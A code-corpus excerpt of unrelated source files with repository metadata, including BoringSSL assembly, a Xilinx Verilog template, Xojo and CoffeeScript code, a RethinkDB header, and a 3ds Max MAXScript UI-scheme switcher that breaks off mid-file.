mov DWORD [20+edi],ebp
; saved r[5]
; ############### Calculate word 6
xor ebp,ebp
; sqr a[3]*a[3]
mul eax
add ebx,eax
adc ecx,edx
adc ebp,0
mov DWORD [24+edi],ebx
; saved r[6]
mov DWORD [28+edi],ecx
pop ebx
pop ebp
pop edi
pop esi
ret
| Assembly | 4 | pdv-ru/ClickHouse | contrib/boringssl-cmake/win-x86/crypto/fipsmodule/co-586.asm | [
"Apache-2.0"
] |
/*******************************************************************************
* This file is owned and controlled by Xilinx and must be used solely *
* for design, simulation, implementation and creation of design files *
* limited to Xilinx devices or technologies. Use with non-Xilinx *
* devices or technologies is expressly prohibited and immediately *
* terminates your license. *
* *
* XILINX IS PROVIDING THIS DESIGN, CODE, OR INFORMATION "AS IS" SOLELY *
* FOR USE IN DEVELOPING PROGRAMS AND SOLUTIONS FOR XILINX DEVICES. BY *
* PROVIDING THIS DESIGN, CODE, OR INFORMATION AS ONE POSSIBLE *
* IMPLEMENTATION OF THIS FEATURE, APPLICATION OR STANDARD, XILINX IS *
* MAKING NO REPRESENTATION THAT THIS IMPLEMENTATION IS FREE FROM ANY *
* CLAIMS OF INFRINGEMENT, AND YOU ARE RESPONSIBLE FOR OBTAINING ANY *
* RIGHTS YOU MAY REQUIRE FOR YOUR IMPLEMENTATION. XILINX EXPRESSLY *
* DISCLAIMS ANY WARRANTY WHATSOEVER WITH RESPECT TO THE ADEQUACY OF THE *
* IMPLEMENTATION, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OR *
* REPRESENTATIONS THAT THIS IMPLEMENTATION IS FREE FROM CLAIMS OF *
* INFRINGEMENT, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A *
* PARTICULAR PURPOSE. *
* *
* Xilinx products are not intended for use in life support appliances, *
* devices, or systems. Use in such applications are expressly *
* prohibited. *
* *
* (c) Copyright 1995-2018 Xilinx, Inc. *
* All rights reserved. *
*******************************************************************************/
/*******************************************************************************
* Generated from core with identifier: xilinx.com:ip:dist_mem_gen:7.2 *
* *
* Rev 1. The LogiCORE Xilinx Distributed Memory Generator creates area *
* and performance optimized ROM blocks, single and dual port *
* distributed memories, and SRL16-based memories for Xilinx FPGAs. The *
* core supersedes the previously released LogiCORE Distributed Memory *
* core. Use this core in all new designs for supported families *
* wherever a distributed memory is required. *
*******************************************************************************/
// The following must be inserted into your Verilog file for this
// core to be instantiated. Change the instance name and port connections
// (in parentheses) to your own signal names.
//----------- Begin Cut here for INSTANTIATION Template ---// INST_TAG
vramZXdistAttr your_instance_name (
.a(a), // input [9 : 0] a
.d(d), // input [7 : 0] d
.dpra(dpra), // input [9 : 0] dpra
.clk(clk), // input clk
.we(we), // input we
.spo(spo), // output [7 : 0] spo
.dpo(dpo) // output [7 : 0] dpo
);
// INST_TAG_END ------ End INSTANTIATION Template ---------
// You must compile the wrapper file vramZXdistAttr.v when simulating
// the core, vramZXdistAttr. When compiling the wrapper file, be sure to
// reference the XilinxCoreLib Verilog simulation library. For detailed
// instructions, please refer to the "CORE Generator Help".
| Verilog | 4 | krzys9876/ZX_Spectrum_VGA | ipcore_dir/vramZXdistAttr.veo | [
"MIT"
] |
# This script ensures for SUR approaches that even in the first time steps we chose a location
# the fill in will be proceed via the numbering of the locations
for{k in 0..Tc-1}{
for {l in locations}{
if (actuator[k]<W && w[r*k+1,l]=0) then { fix{i in 1..r} w[r*k+i,l]:=1;
let actuator[k]:=actuator[k]+1;}#end if
}#end for
}#end for
| AMPL | 3 | thuenen/State-Elimination-for-Mixed-Integer-Optimal-Control-of-PDEs-by-Semigroup-Theory | HeatCtrl/EnsureSOS.ampl | [
"MIT"
] |
#tag IOSView
Begin iosView XojoUnitTestGroupView
BackButtonTitle = "Groups"
Compatibility = ""
LargeTitleMode = 2
Left = 0
NavigationBarVisible= True
TabIcon = ""
TabTitle = ""
Title = "XojoUnit"
Top = 0
Begin iOSTable TestGroupsTable
AccessibilityHint= ""
AccessibilityLabel= ""
AllowRefresh = False
AutoLayout = TestGroupsTable, 4, BottomLayoutGuide, 3, False, +1.00, 1, 1, 0, , True
AutoLayout = TestGroupsTable, 2, <Parent>, 2, False, +1.00, 1, 1, -0, , True
AutoLayout = TestGroupsTable, 3, TopLayoutGuide, 4, False, +1.00, 1, 1, 0, , True
AutoLayout = TestGroupsTable, 1, <Parent>, 1, False, +1.00, 1, 1, 0, , True
EditingEnabled = False
EditingEnabled = False
EstimatedRowHeight= -1
Format = 0
Height = 503.0
Left = 0
LockedInPosition= False
Scope = 0
SectionCount = 0
Top = 65
Visible = True
Width = 320.0
End
Begin iOSTestController Controller
AllTestCount = 0
Duration = 0.0
FailedCount = 0
GroupCount = 0
IsRunning = False
Left = 0
LockedInPosition= False
NotImplementedCount= 0
PanelIndex = -1
Parent = ""
PassedCount = 0
RunGroupCount = 0
RunTestCount = 0
Scope = 2
SkippedCount = 0
Top = 0
End
End
#tag EndIOSView
#tag WindowCode
#tag Event
Sub Open()
Self.RightNavigationToolbar.Add(iOSToolButton.NewPlain("Run"))
Controller.LoadTestGroups
PopulateTestGroups
End Sub
#tag EndEvent
#tag Event
Sub ToolbarPressed(button As iOSToolButton)
#Pragma Unused button
RunTests
End Sub
#tag EndEvent
#tag Method, Flags = &h21
Private Sub PopulateTestGroups()
// Add the test groups
TestGroupsTable.RemoveAll
TestGroupsTable.AddSection("")
Dim cellData As iOSTableCellData
For Each g As TestGroup In Controller.TestGroups
#If RBVersion < 2016.02
cellData = New iOSTableCellData
#Else
cellData = TestGroupsTable.CreateCell
#Endif
cellData.Text = g.Name
cellData.DetailText = g.TestCount.ToText + " tests, " _
+ g.PassedTestCount.ToText + " passed, " _
+ g.FailedTestCount.ToText + " failed"
cellData.AccessoryType = iOSTableCellData.AccessoryTypes.Detail
cellData.Tag = g
TestGroupsTable.AddRow(0, cellData)
Next
If Self.ParentSplitView <> Nil And Self.ParentSplitView.Available Then
Dim detail As XojoUnitTestDetailsView = XojoUnitTestDetailsView(Self.ParentSplitView.Detail)
Dim testCount As Integer
testCount = Controller.AllTestCount
detail.TestCountLabel.Text = testCount.ToText + " tests in " + Controller.GroupCount.ToText + " groups."
End If
End Sub
#tag EndMethod
#tag Method, Flags = &h21
Private Sub RunTests()
If Self.ParentSplitView.Available Then
Dim detail As XojoUnitTestDetailsView = XojoUnitTestDetailsView(Self.ParentSplitView.Detail)
detail.StartLabel.Text = Xojo.Core.Date.Now.ToText(Xojo.Core.Locale.Current, Xojo.Core.Date.FormatStyles.Medium)
Controller.Start
End If
End Sub
#tag EndMethod
#tag EndWindowCode
#tag Events TestGroupsTable
#tag Event
Sub AccessoryAction(section As Integer, row As Integer)
// Display the test methods for the group
Dim v As New XojoUnitTestMethodView
v.LoadTests(Me.RowData(section, row).Tag)
Self.PushTo(v)
End Sub
#tag EndEvent
#tag EndEvents
#tag Events Controller
#tag Event
Sub AllTestsFinished()
Dim detail As XojoUnitTestDetailsView = XojoUnitTestDetailsView(Self.ParentSplitView.Detail)
detail.DurationLabel.Text = Controller.Duration.ToText(Xojo.Core.Locale.Current, "#,##0.0000000") + "s"
Dim testCount As Integer
testCount = Controller.RunTestCount
detail.TestCountLabel.Text = testCount.ToText + " tests in " + Controller.RunGroupCount.ToText + " groups were run."
Dim pct As Double
pct = (Controller.PassedCount / testCount) * 100
detail.PassedCountLabel.Text = Controller.PassedCount.ToText + " (" + pct.ToText(Xojo.Core.Locale.Current, "#0.00") + "%)"
pct = (Controller.FailedCount / testCount) * 100
detail.FailedCountLabel.Text = Controller.FailedCount.ToText + " (" + pct.ToText(Xojo.Core.Locale.Current, "#0.00") + "%)"
detail.SkippedCountLabel.Text = Controller.SkippedCount.ToText
End Sub
#tag EndEvent
#tag Event
Sub GroupFinished(group As TestGroup)
#Pragma Unused group
PopulateTestGroups
End Sub
#tag EndEvent
#tag EndEvents
#tag ViewBehavior
#tag ViewProperty
Name="LargeTitleMode"
Visible=true
Group="Behavior"
InitialValue="2"
Type="LargeTitleDisplayModes"
EditorType="Enum"
#tag EnumValues
"0 - Automatic"
"1 - Always"
"2 - Never"
#tag EndEnumValues
#tag EndViewProperty
#tag ViewProperty
Name="BackButtonTitle"
Visible=false
Group="Behavior"
InitialValue=""
Type="Text"
EditorType="MultiLineEditor"
#tag EndViewProperty
#tag ViewProperty
Name="Index"
Visible=true
Group="ID"
InitialValue="-2147483648"
Type="Integer"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Left"
Visible=true
Group="Position"
InitialValue="0"
Type="Integer"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Name"
Visible=true
Group="ID"
InitialValue=""
Type="String"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="NavigationBarVisible"
Visible=false
Group="Behavior"
InitialValue=""
Type="Boolean"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Super"
Visible=true
Group="ID"
InitialValue=""
Type="String"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="TabIcon"
Visible=false
Group="Behavior"
InitialValue=""
Type="iOSImage"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="TabTitle"
Visible=false
Group="Behavior"
InitialValue=""
Type="Text"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Title"
Visible=false
Group="Behavior"
InitialValue=""
Type="Text"
EditorType="MultiLineEditor"
#tag EndViewProperty
#tag ViewProperty
Name="Top"
Visible=true
Group="Position"
InitialValue="0"
Type="Integer"
EditorType=""
#tag EndViewProperty
#tag EndViewBehavior
| Xojo | 4 | kingj5/iOSKit | XojoUnit/XojoUnitTestGroupView.xojo_code | [
"MIT"
] |
// Copyright 2010-2014 RethinkDB, all rights reserved.
#ifndef CLUSTERING_ADMINISTRATION_TABLES_DEBUG_TABLE_STATUS_HPP_
#define CLUSTERING_ADMINISTRATION_TABLES_DEBUG_TABLE_STATUS_HPP_
#include <memory>
#include <string>
#include "clustering/administration/tables/table_common.hpp"
class server_config_client_t;
class debug_table_status_artificial_table_backend_t :
public common_table_artificial_table_backend_t
{
public:
debug_table_status_artificial_table_backend_t(
rdb_context_t *rdb_context,
lifetime_t<name_resolver_t const &> name_resolver,
std::shared_ptr<semilattice_readwrite_view_t<
cluster_semilattice_metadata_t> > _semilattice_view,
table_meta_client_t *_table_meta_client);
~debug_table_status_artificial_table_backend_t();
bool write_row(
auth::user_context_t const &user_context,
ql::datum_t primary_key,
bool pkey_was_autogenerated,
ql::datum_t *new_value_inout,
signal_t *interruptor_on_caller,
admin_err_t *error_out);
private:
void format_row(
auth::user_context_t const &user_context,
const namespace_id_t &table_id,
const table_config_and_shards_t &config,
const ql::datum_t &db_name_or_uuid,
signal_t *interruptor_on_home,
ql::datum_t *row_out)
THROWS_ONLY(
interrupted_exc_t,
no_such_table_exc_t,
failed_table_op_exc_t,
auth::permission_error_t);
};
#endif /* CLUSTERING_ADMINISTRATION_TABLES_DEBUG_TABLE_STATUS_HPP_ */
| C++ | 3 | zadcha/rethinkdb | src/clustering/administration/tables/debug_table_status.hpp | [
"Apache-2.0"
] |
root = require?('./org') ? Org
{
Headline,
Source,
HTML,
Keyword,
Drawer,
Meat,
Results,
parseOrgMode,
} = root
{
safeLoad,
dump,
} = Yaml ? require?('./yaml')
_L = Lazy ? require?('./lazy')
getCodeItems = (org)->
if !getSourceNodeType org then {}
else
result = {}
while !isSourceEnd org
if type = getSourceNodeType org
if !result.first then result.first = org
else if type == 'name' then return result
if result[type]? then return result
result.last = result[type] = org
if type == 'results' then break
else if org instanceof Drawer || org instanceof Keyword then break
org = org.next
if result.source then result else {}
isCodeBlock = (org)->
if org instanceof Keyword && org.name.match /^name$/i
{first} = getCodeItems org
first
else org instanceof Source
getSourceNodeType = (org)->
if org instanceof Source then 'source'
else if org instanceof Results then 'results'
else if org instanceof Drawer && org.name.toLowerCase() == 'expected' then 'expected'
else if org instanceof Keyword && org.name.match /^name$/i then 'name'
else false
isSourceEnd = (org)-> !org || org instanceof Headline
createDocFromOrg = (org, collection, reloading, filter)->
doc = orgDoc org
if filter? then doc = (filter block for block in doc)
replaceOrgDoc doc, collection, reloading
collection
docRoot = (collection)->
(collection.leisure ? collection.leisure = {}).info ? (collection.leisure.info = collection.findOne info: true)
replaceOrgDoc = (docArray, collection, reloading)->
if reloading then collection.remove info: ('$exists': false)
else collection.remove()
linkDocs docArray
#console.log "DOCS: #{JSON.stringify docArray, null, ' '}"
if reloading
info = collection.leisure.info
info.head = if docArray.length > 0 then docArray[0]._id else null
collection.update info._id, info
else
info = collection.leisure.info =
info: true
head: if docArray.length > 0 then docArray[0]._id else null
_id: new Meteor.Collection.ObjectID().toJSONValue()
collection.insert info
for doc in docArray
collection.insert doc
linkDocs = (docs)->
prev = null
for doc in docs
doc._id = new Meteor.Collection.ObjectID().toJSONValue()
if prev
prev.next = doc._id
doc.prev = prev._id
prev = doc
orgDoc = (org)-> createOrgDoc(org, false)[0].toArray()
lineCodeBlockType = (line)->
type = line && root.matchLine line
if type in ['srcStart', 'srcEnd', 'htmlStart', 'htmlEnd'] then 'code'
else if line.match /^#+name:/i then 'code'
else if type == 'headline-1' then 'headline'
else 'chunk'
createOrgDoc = (org, local)->
next = org.next
if org instanceof Headline
local = local || (org.level == 1 && org.properties.local)
children = createChildrenDocs org, local
result = if org.level == 0 then (org.children.length && children) || _L([text: '\n', type: 'chunk', offset: org.offset])
else
_L([text: org.text, type: 'headline', level: org.level, offset: org.offset, properties: org.properties]).concat children
else if org instanceof HTML then [result, next] = createHtmlBlockDoc org
else if isCodeBlock org then [result, next] = createCodeBlockDoc org
else result = _L([text: org.allText(), type: 'chunk', offset: org.offset])
if local then result.each (item)-> item.local = true
[result, next]
createChildrenDocs = (org, local)->
children = _L()
child = org.children[0]
if child
mergedText = ''
offset = org.children[0].offset
while child
if isMergeable child
mergedText += child.allText()
child = child.next
else
[mergedText, children] = checkMerged mergedText, children, offset
[childDoc, child] = createOrgDoc child, local
children = children.concat [childDoc]
offset = child?.offset
[mergedText, children] = checkMerged mergedText, children, offset
children
isMergeable = (org)-> !(org instanceof Headline || org instanceof HTML || isCodeBlock org)
checkMerged = (mergedText, children, offset)->
if mergedText != '' then children = children.concat [text: mergedText, type: 'chunk', offset: offset]
['', children]
createCodeBlockDoc = (org)->
text = ''
{first, name, source, last, expected, results} = getCodeItems org
if !first then [_L([text: org.allText(), type: 'chunk', offset: org.offset]), org.next]
else
firstOffset = first.offset
while first != last.next
text += first.allText()
first = first.next
obj = text: text, type: 'code', offset: firstOffset
obj.codeAttributes = source.attributes()
obj.codePrelen = source.contentPos + source.offset - firstOffset
obj.codePostlen = text.length - obj.codePrelen - source.content.length
if expected
obj.codeContent = source.content
obj.codeTestActual = results.content()
obj.codeTextExpected = expected.content()
obj.codeTestResult = if !results then 'unknown'
else if expected.content() == results.content() then 'pass'
else 'fail'
if name then obj.codeName = name.info.trim()
if obj.codeAttributes?.local? then obj.local = true
if l = source.lead() then obj.language = l.trim()
if isYaml source
try
obj.yaml = safeLoad source.content
catch err
obj.yaml = null
[_L([obj]), last.next]
createHtmlBlockDoc = (org)->
text = org.allText()
obj = text: text, type: 'code', offset: org.offset
obj.codePrelen = org.contentPos
obj.codePostlen = text.length - obj.codePrelen - org.contentLength
obj.language = 'html'
if a = org.attributes() then obj.codeAttributes = a
[_L([obj]), org.next]
isYaml = (org)-> org instanceof Source && org.info.match /^ *yaml\b/i
checkSingleNode = (text)->
docs = {}
org = parseOrgMode text
[docJson] = if org.children.length > 1 then orgDoc org
else orgDoc org.children[0]
#if docJson.children? then console.log "NEW NODE\n#{JSON.stringify docJson}"
docJson
crnl = (data)->
if typeof data == 'string' then data.replace /\r\n/g, '\n'
else if data.text
data.text = crnl data.text
data
else data
root.getCodeItems = getCodeItems
root.isCodeBlock = isCodeBlock
root.createDocFromOrg = createDocFromOrg
root.checkSingleNode = checkSingleNode
root.orgDoc = orgDoc
root.docRoot = docRoot
root.linkDocs = linkDocs
root.isYaml = isYaml
root.crnl = crnl
root.lineCodeBlockType = lineCodeBlockType
module?.exports = root
| Literate CoffeeScript | 4 | zot/Leisure | METEOR-OLD/packages/org/docOrg.litcoffee | [
"Zlib"
] |
/*
UI Scheme Macros
Revision History:
Oct 25 2001; Max 4 implementation
August 14 2003; Pierre-Felix Breton
Max 6 modifications/refactoring of functions
Added UI/Defaults switcher Macro
Added localization comments and cleaned code comments
August 19 2003;Pierre-Felix Breton
removed hardcoded refs to the 3dsmax.ini file
--***********************************************************************************************
-- MODIFY THIS AT YOUR OWN RISK
*/
---------------------------------------------------------------------------------------------------
/*
CUI and Defaults switcher
Provide a choice to select the market specific toolbar and defaults settings.
Save this choice for subsequent launches by:
-changing the 3dsmax.ini file to point to the desired defaults settings folder
-saving a MaxStartUI.cui file and loading the desired CUI file set (this is identical to the Load Custom UI scheme command in MAX)
Dependencies:
--hardcoded dependency on the following folder/files names:
\defaults\MAX\
\defaults\DesignVIZ\
\UI\DefaultUI.* (*.ui, *.cui, *.mnu, *.clr) etc
\UI\MaxstartUI.CUI\
\html\cui.defaults.switcher\*.html
-functions defined in the [maxinstall]/stdplugs/scripts/customUIschemes_functions.ms
*/
---------------------------------------------------------------------------------------------------
MacroScript CustomUISchemeDefaultsSwitcher
category:"Customize User Interface"
internalcategory:"Customize User Interface"
tooltip:"Custom UI and Defaults Switcher"
ButtonText:"Custom UI and Defaults Switcher"
SilentErrors:(Debug != True)
(
--decalres variables
local rlt_main
local rlt_size
local axMargin
local ctrlMargin
local topUIMargin
local botUIMargin
local btnWidth
local btnHeight
local strWebDocPath
-------------------------------------------------------------------------
-- getCUISchemesList
-- function that parses the [maxinstall]\ui folder
-- to obtain the list of ui schemes (defined by the *.ui extension)
-- returns an array containing the list of UI schemes
------------------------------------------------------------------------------
fn getCUISchemesList =
(
local arStrUISchemesFnames = #()
local i, j
arStrUISchemesFnames = getFiles ((getdir #UI) + "\\*.ui")
j = 0
for i in arStrUISchemesFnames do
(
j = j + 1
local strFname = getFileNameFile i
--skip the startup.ui bak file: the fact that this file is ending by ".ui" is a bug and really, it should be ".cui"
-- this may be resolved in the future but we add this extra security for now, to avoid confusion
if strFname == "_startup" --LOC_NOTES: do not localize this
then deleteItem arStrUISchemesFnames j
else arStrUISchemesFnames[j] = strFname
)
--re arrange the list so the DefaultUIs we ship are always on top of the list (first in the array), to make this easier to non-educated users, as per design decision
--if they disappear from the builds in next releases or renammed, theses lines of code will simply do nothing
local intArIndex = 0
intArIndex = findItem arStrUISchemesFnames "DefaultUI" --LOC_NOTES: do not localize this
if intArIndex != 0 do
(
deleteItem arStrUISchemesFnames intArIndex
insertItem "DefaultUI" arStrUISchemesFnames 1 --LOC_NOTES: do not localize this
)
intArIndex = findItem arStrUISchemesFnames "ModularToolbarsUI" --LOC_NOTES: do not localize this
if intArIndex != 0 do
(
deleteItem arStrUISchemesFnames intArIndex
insertItem "ModularToolbarsUI" arStrUISchemesFnames 2 --LOC_NOTES: do not localize this
)
intArIndex = findItem arStrUISchemesFnames "discreet-light" --LOC_NOTES: do not localize this
if intArIndex != 0 do
(
deleteItem arStrUISchemesFnames intArIndex
insertItem "discreet-light" arStrUISchemesFnames 3 --LOC_NOTES: do not localize this
)
intArIndex = findItem arStrUISchemesFnames "discreet-dark" --LOC_NOTES: do not localize this
if intArIndex != 0 do
(
deleteItem arStrUISchemesFnames intArIndex
insertItem "discreet-dark" arStrUISchemesFnames 4 --LOC_NOTES: do not localize this
)
arStrUISchemesFnames --returns the array of string
)--end function
-------------------------------------------------------------------------------------------
-- getDefaultsList
-- function that parses the [maxinstall]\defaults folder
-- to obtain the list of defaults schemes (defined by foldersnames)
-- returns an array containing the of the Defaults names
-------------------------------------------------------------------------------------------
fn getDefaultsList =
(
local arStrDefaultsFoldNames = #()
local i, j
arStrDefaultsFoldNames = getDirectories ((getdir #maxroot) + "defaults\\*") --LOC_NOTES: do not localize this
--removes the path info from the folder names
j = 0
for i in arStrDefaultsFoldNames do
(
j = j + 1
local arStrSplitFoldNames = #()
arStrSplitFoldNames = filterstring i "\\"
arStrDefaultsFoldNames[j] = arStrSplitFoldNames[arStrSplitFoldNames.count]
)
--re arrange the list so the Defaults we ship are always on top of the list (first in the array), to make this easier to non-educated users, as per design decision
--if they disappear from the builds in next releases or renammed, theses lines of code will simply do nothing
local intArIndex = 0
intArIndex = findItem arStrDefaultsFoldNames "MAX" --LOC_NOTES: do not localize this
if intArIndex != 0 do
(
deleteItem arStrDefaultsFoldNames intArIndex
insertItem "Max" arStrDefaultsFoldNames 1 --LOC_NOTES: do not localize this
)
intArIndex = findItem arStrDefaultsFoldNames "MAX.mentalray" --LOC_NOTES: do not localize this
if intArIndex != 0 do
(
deleteItem arStrDefaultsFoldNames intArIndex
insertItem "Max.mentalray" arStrDefaultsFoldNames 2 --LOC_NOTES: do not localize this
)
intArIndex = findItem arStrDefaultsFoldNames "DesignVIZ" --LOC_NOTES: do not localize this
if intArIndex != 0 do
(
deleteItem arStrDefaultsFoldNames intArIndex
insertItem "DesignVIZ" arStrDefaultsFoldNames 3 --LOC_NOTES: do not localize this
)
intArIndex = findItem arStrDefaultsFoldNames "DesignVIZ.mentalray" --LOC_NOTES: do not localize this
if intArIndex != 0 do
(
deleteItem arStrDefaultsFoldNames intArIndex
insertItem "DesignVIZ.mentalray" arStrDefaultsFoldNames 4 --LOC_NOTES: do not localize this
)
arStrDefaultsFoldNames
)--end function
on execute do
(
--init variables
rlt_size = point2 700 650
axMargin = 30
ctrlMargin = 30
topUIMargin = 110
botUIMargin = 50
btnWidth = 100
btnHeight = 25
strWebDocPath = (getdir #maxroot + "html\\cui.defaults.switcher\\") -- LOC_Notes: do not localize this
---------------------------------------------------------------------------------------------------------------
-- Rollout UI
---------------------------------------------------------------------------------------------------------------
rollout rlt_main "Choose initial settings for tool options and UI layout." -- LOC_Notes: localize this
(
--ui section
listbox lstBoxCUI "UI schemes:" items:#() height:5 \ -- LOC_Notes: localize this
pos:[(rlt_size.x/2 + ctrlMargin/2), ctrlMargin/2] \
width:(rlt_size.x/2 - ctrlMargin)
listbox lstBoxDefaults "Initial settings for tool options:" items:#() height:5 \ -- LOC_Notes: localize this
pos:[ctrlMargin/2, ctrlMargin/2] \
width:(rlt_size.x/2 - ctrlMargin)
--documentation, active x
activeXControl ax "{8856F961-340A-11D0-A96B-00C04FD705A2}" \ --LOC_Notes: do not localize this
pos:[(axMargin/2),(axMargin/2 + topUIMargin)] \
width:(rlt_size.x - axMargin) \
height:(rlt_size.y-axMargin-topUIMargin-botUIMargin)
--ok cancel help buttons
button btnCancelDialog "Cancel" width:btnWidth height:btnHeight \ -- LOC_Notes: localize this
pos:[(rlt_size.x-ctrlMargin/2-btnWidth), (rlt_size.y-botUIMargin/2-btnHeight/2)] \
enabled:true
button btnOkDialog "Set" width:btnWidth height:btnHeight \ -- LOC_Notes: localize this
pos:[(rlt_size.x-ctrlMargin-2*btnWidth), (rlt_size.y-botUIMargin/2-btnHeight/2)] \
enabled:true
button btnHelpDialog "<<" width:(btnWidth/2) height:btnHeight \ -- LOC_Notes: localize this
pos:[(ctrlMargin/2), (rlt_size.y-botUIMargin/2-btnHeight/2)] \
enabled:false
--//////////////////////////////////////////////////////////////////////////////
--Rollout Events
--//////////////////////////////////////////////////////////////////////////////
on rlt_main open do
(
enableAccelerators = false
--sets the webpage welcome html file
if (doesFileExist (strWebDocPath + "index.html")) == true do ax.navigate (strWebDocPath + "index.html") --LOC_Notes: do not localize this
--populates the listboxes
lstBoxCUI.items = getCUISchemesList()
lstBoxDefaults.items = getDefaultsList()
-- selects the first item in the CUI scheme list
lstBoxCUI.selection = 1
--selects the current set of defaults in the Defaults list
--compares the list of items with the current defaults and highlight the currently active defaults set
--extract the name of the defaults set from the defaults folder path
local strCurrentDefaults
local arStrSplitFoldNames = #()
arStrSplitFoldNames = filterstring (getdir #defaults) "\\"
strCurrentDefaults = (arStrSplitFoldNames[arStrSplitFoldNames.count])
--compares with the list
local i
local index = 0
local j = 0
for i in lstBoxDefaults.items do
(
j = j + 1
if (matchpattern strCurrentDefaults pattern:i ignorecase:true) do index = j
)
lstBoxDefaults.selection = index
)
on rlt_main resized size do
(
--resizes the list box controls
--lstBoxCUI.pos = [ctrlMargin/2, ctrlMargin/2]
--lstBoxDefaults.pos = [(size.x/2 + ctrlMargin/2), ctrlMargin/2]
--lstBoxCUI.width = (size.x/2-ctrlMargin)
--lstBoxDefaults.width = (size.x/2-ctrlMargin)
-- resize the browser control
ax.size = [(size.x - axMargin),(size.y-axMargin-topUIMargin-botUIMargin)]
--repositions the Set/Cancel buttons
btnCancelDialog.pos = [(size.x-ctrlMargin/2-btnWidth), (size.y-botUIMargin/2-btnHeight/2)]
btnOkDialog.pos = [(size.x-ctrlMargin-2*btnWidth), (size.y-botUIMargin/2-btnHeight/2)]
btnHelpDialog.pos = [ctrlMargin/2, (size.y-botUIMargin/2-btnHeight/2)]
)
on lstBoxDefaults selected item do
(
--set the webpage browser to show the corresponding html file for better explanations
local strFldName = ""
strFldName = (strWebDocPath + "defaults." + lstBoxDefaults.selected +".html") --LOC_Notes: do not localize this
if (doesFileExist strFldName) == true
then ax.navigate strFldName --LOC_Notes: do not localize this
else
(
if (doesFileExist (strWebDocPath + "defaults.unknown.entry.html") == true) do ax.navigate (strWebDocPath + "defaults.unknown.entry.html") --LOC_Notes: do not localize this
)
-- enables the set button only if the 2 list boxes are set to a given selection
if (lstBoxCUI.selection != 0 and lstBoxDefaults.selection != 0) do btnHelpDialog.enabled = true
)
on lstBoxCUI selected item do
(
--set the webpage browser to show the corresponding html file for better explanations
local strFldName = ""
strFldName = (strWebDocPath + "ui." + lstBoxCUI.selected +".html") --LOC_Notes: do not localize this
if (doesFileExist strFldName) == true
then ax.navigate strFldName --LOC_Notes: do not localize this
else
(
if (doesFileExist (strWebDocPath + "ui.unknown.entry.html") == true) do ax.navigate (strWebDocPath + "ui.unknown.entry.html") --LOC_Notes: do not localize this
)
-- enables the set button only if the 2 list boxes are set to a given selection
if (lstBoxCUI.selection != 0 and lstBoxDefaults.selection != 0) do btnHelpDialog.enabled = true
)
on btnCancelDialog pressed do destroyDialog(rlt_main)
on btnHelpDialog pressed do
(
--sets the webpage welcome html file
if (doesFileExist (strWebDocPath + "index.html")) == true do ax.navigate (strWebDocPath + "index.html") --LOC_Notes: do not localize this
)
on btnOkDialog pressed do
(
--loads the selected options as UI
if lstBoxCUI.selected != undefined do loadCUIScheme ((getdir #ui) + "\\" + lstBoxCUI.selected + ".ui")
--loads selected options as Market defaults
if lstBoxDefaults.selected != undefined do
(
setIniSetting (GetMAXIniFile()) "Directories" "Defaults" ((getdir #maxroot) + "defaults\\"+ lstBoxDefaults.selected) --LOC_NOTES: do not localize this
messagebox "The Defaults settings will take effect the next time you restart 3ds max." title:"Custom UI and Defaults Switcher" -- LOC_Notes: localize this
)
--finishes the job
destroyDialog(rlt_main)
)
)--end rollout
createDialog rlt_main rlt_size.x rlt_size.y \
modal:false style:#(#style_resizing, #style_titlebar, #style_border)
)--end on execute
)--end macro
---------------------------------------------------------------------------------------------------
/*
LoadScheme
Allows users to load UI schemes and icon directories.
The current design forces all UI files to be in the [maxinstall]/ui/ directory
This macro is dependant on:
-functions defined in the [maxinstall]/stdplugs/scripts/customUIschemes_functions.ms
*/
---------------------------------------------------------------------------------------------------
MacroScript LoadScheme
category:"Customize User Interface"
internalcategory:"Customize User Interface"
tooltip:"Load Custom UI Scheme"
ButtonText:"Load Custom UI Scheme"
SilentErrors:(Debug != True)
(
on execute do
(
-- Default Directory and Filename "DefaultUI"
local DirectorySeed = getdir(#UI)+"\\DefaultUI.ui" --LOC_Notes: do not localize this
-- Disable Esacpe Key
EscapeEnable=false
--loads the UI scheme (function defined in the [maxinstall]/stdplugs/scripts/customUIschemes_functions.ms)
UIScheme_Filename = getOpenFilename filename:DirectorySeed caption:"Load Custom UI Scheme" \
types:"Scheme (*.ui)|*.ui|Color File(*.clr)|*.clr|UI File(*.cui)|*.cui|Menu File(*.mnu)|*.mnu|Shortcuts File(*.kbd)|*.kbd|Quad Options File(*.qop)|*.qop" --LOC_Notes: localize this
loadCUIScheme UIScheme_Filename
-- Enable ESC Key
EscapeEnabled = true
)-- end execute
)--end MacroScript LoadScheme
---------------------------------------------------------------------------------------------------
/*
SaveScheme
Allows users to save UI schemes and icon directories.
The current design forces all UI files to be in the [maxinstall]/ui/ directory
This macro is dependant on:
-functions defined in the [maxinstall]/stdplugs/scripts/customUIschemes_functions.ms
*/
---------------------------------------------------------------------------------------------------
MacroScript SaveScheme
category:"Customize User Interface"
internalcategory:"Customize User Interface"
tooltip:"Save Custom UI Scheme"
ButtonText:"Save Custom UI Scheme"
SilentErrors:(Debug != True)
(
local UIScheme_Directories_Names, UIScheme_Directories_Name, UIScheme_Bitmap_Preview, UIScheme_Filename
on execute do
(
-------------------------------------
-- Get filename from Save dialog
-- known limitation: there is no way to know if a given *.ui file is active or not
-- because a UI scheme is split in multiple files, you can't tell if they are all loaded
-- or not. Our best luck is to assume that yes and rely on the current CUI file
-------------------------------------
local strfpath = cui.getConfigFile()
local DirectorySeed = getfilenamepath(strfpath) + getfilenamefile(strfpath) + ".ui"
-------------------------------------
-- Set types of files to load
-------------------------------------
UIScheme_Filename = getSaveFilename filename:DirectorySeed \
caption:"Save Custom UI Scheme" \ --LOC_Notes: localize this
types:"Interface Scheme(*.ui)|*.ui|UI File(*.cui)|*.cui|Menu File(*.mnu)|*.mnu|Color File(*.clr)|*.clr|Shortcut File(*.kbd)|*.kbd|" --LOC_Notes: localize this
If UIScheme_Filename != undefined do
(
rollout SaveDialog "Custom Scheme" width:240 height:224 --LOC_Notes: localize this
(
